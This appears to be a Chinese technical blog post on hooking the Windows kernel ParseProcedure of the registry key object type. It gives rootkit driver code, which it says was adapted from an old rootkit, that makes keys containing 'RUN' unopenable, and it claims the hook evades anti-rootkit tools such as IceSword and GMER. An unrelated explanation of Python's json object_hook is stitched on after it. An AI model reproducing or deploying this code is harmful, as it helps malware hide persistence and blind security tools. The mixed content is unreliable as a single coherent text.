ObjectType HOOK干涉注册表操作

来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象

对象头(object_header)有一个object type结构
object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;



OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。

这些都是在ObCreateObjectType(系统启动时)填充的

例如KeyObject的TypeInfo:
lkd> dt _OBJECT_TYPE_INITIALIZER 839b25e0+60
+0x000 Length : 0x4c
+0x002 UseDefaultObject : 0x1 ''
+0x003 CaseInsensitive : 0 ''
+0x004 InvalidAttributes : 0x30
+0x008 GenericMapping : _GENERIC_MAPPING
+0x018 ValidAccessMask : 0x1f003f
+0x01c SecurityRequired : 0x1 ''
+0x01d MaintainHandleCount : 0 ''
+0x01e MaintainTypeList : 0x1 ''
+0x020 PoolType : 1 ( PagedPool )
+0x024 DefaultPagedPoolCharge : 0x74
+0x028 DefaultNonPagedPoolCharge : 0
+0x02c DumpProcedure : (null)
+0x030 OpenProcedure : (null)
+0x034 CloseProcedure : 0x8062cedc nt!CmpCloseKeyObject+0
+0x038 DeleteProcedure : 0x8062cdc2 nt!CmpDeleteKeyObject+0
+0x03c ParseProcedure : 0x806250c2 nt!CmpParseKey+0
+0x040 SecurityProcedure : 0x8062cc24 nt!CmpSecurityMethod+0
+0x044 QueryNameProcedure : 0x8062be7e nt!CmpQueryKeyName+0
+0x048 OkayToCloseProcedure : (null)

那么很简单了,我们只要HOOK这些函数例程就可以了
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳,可以很容易地让反rootkit工具检查不到这种HOOK

HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)

以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:

PVOID OldParseKey;
//安装HOOK
void InstallAdvRegHook()
{

UNICODE_STRING RegPath ;
OBJECT_ATTRIBUTES oba ;
HANDLE RegKeyHandle ;
NTSTATUS status ;
PVOID KeyObject ;
PMYOBJECT_TYPE CmpKeyObjectType ;


RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System" );
InitializeObjectAttributes( &oba ,
&RegPath ,
OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,
0 ,
0 );

RegKeyHandle=0;

status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);

if (!NT_SUCCESS(status ))
{
KDMSG(("open the system key failed!\n"));
return ;
}

//首先随便打开一个注册表键,得到对象

status=ObReferenceObjectByHandle(RegKeyHandle,
GENERIC_READ,
NULL,
KernelMode,
&KeyObject,
0);

if (!NT_SUCCESS(status ))
{
KDMSG(("reference the key object failed!\n"));
ZwClose(RegKeyHandle);
return ;
}

__asm
{
push eax
mov eax,KeyObject
mov eax,[eax-0x10]
mov CmpKeyObjectType,eax
pop eax
}

KDMSG(("key object type :%08x \n" , CmpKeyObjectType ));

//get the key object type
//获得注册表键对象类型,即CmpKeyObjectType

OldParseKey = CmpKeyObjectType->TypeInfo.ParseProcedure ;

KDMSG(("key parseProcedure routine :%08x \n ", OldParseKey ));

if (!MmIsAddressValid(OldParseKey))
{
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;
}
//保存原始的ParseProcedure



CmpKeyObjectType->TypeInfo.ParseProcedure = (ULONG) FakeParseKey;

//进行HOOK
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;


}

//HOOK函数

NTSTATUS FakeParseKey(POBJECT_DIRECTORY RootDirectory,
POBJECT_TYPE ObjectType,
PACCESS_STATE AccessState,
KPROCESSOR_MODE AccessCheckMode,
ULONG Attributes,
PUNICODE_STRING ObjectName,
PUNICODE_STRING RemainingName,
PVOID ParseContext ,
PSECURITY_QUALITY_OF_SERVICE SecurityQos ,
PVOID *Object)
{
NTSTATUS stat ;
WCHAR Name[300];
RtlCopyMemory(Name , ObjectName->Buffer , ObjectName->MaximumLength );
_wcsupr(Name);

if (wcsstr(Name , L"RUN"))
{
//检查是不是要保护的注册表键

return STATUS_OBJECT_NAME_NOT_FOUND ;
}

__asm
{
push eax
push Object
push SecurityQos
push ParseContext
push RemainingName
push ObjectName
push Attributes
movzx eax, AccessCheckMode
push eax
push AccessState
push ObjectType
push RootDirectory
call OldParseKey

mov stat, eax
pop eax

}
return stat ;
}
`object_hook` 是在 Python 的 `json` 模块中的一个可选参数,它允许我们在将 JSON 数据转换为 Python 对象时对其进行自定义处理。具体来说,`object_hook` 是一个回调函数,它接收一个字典作为参数,返回一个 Python 对象。当 `json.loads()` 函数解析 JSON 数据时,如果指定了 `object_hook` 参数,则会在每次解析一个 JSON 对象时调用该函数,将解析出的字典传入该函数进行自定义处理,最终返回转换后的 Python 对象。 举个例子,假设我们有如下的 JSON 数据: ```json { "name": "John", "age": 30, "city": "New York" } ``` 如果我们想将其转换为一个自定义的 Python 类型 `Person`,可以定义一个 `object_hook` 函数来实现: ```python import json class Person: def __init__(self, name, age, city): self.name = name self.age = age self.city = city def json_to_person(json_str): def person_hook(obj): return Person(obj['name'], obj['age'], obj['city']) return json.loads(json_str, object_hook=person_hook) json_str = '{"name": "John", "age": 30, "city": "New York"}' person = json_to_person(json_str) print(person.name) # John print(person.age) # 30 print(person.city) # New York ``` 在上面的代码中,我们定义了一个 `Person` 类型和一个 `json_to_person` 函数,后者接收一个 JSON 字符串作为参数,并通过 `json.loads()` 函数将其转换为 Python 对象。同时,我们还定义了一个 `person_hook` 函数作为 `object_hook` 参数,用来将解析出的字典转换为 `Person` 对象。最后,我们调用 `json_to_person` 函数并打印出转换后的 `Person` 对象的属性值。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值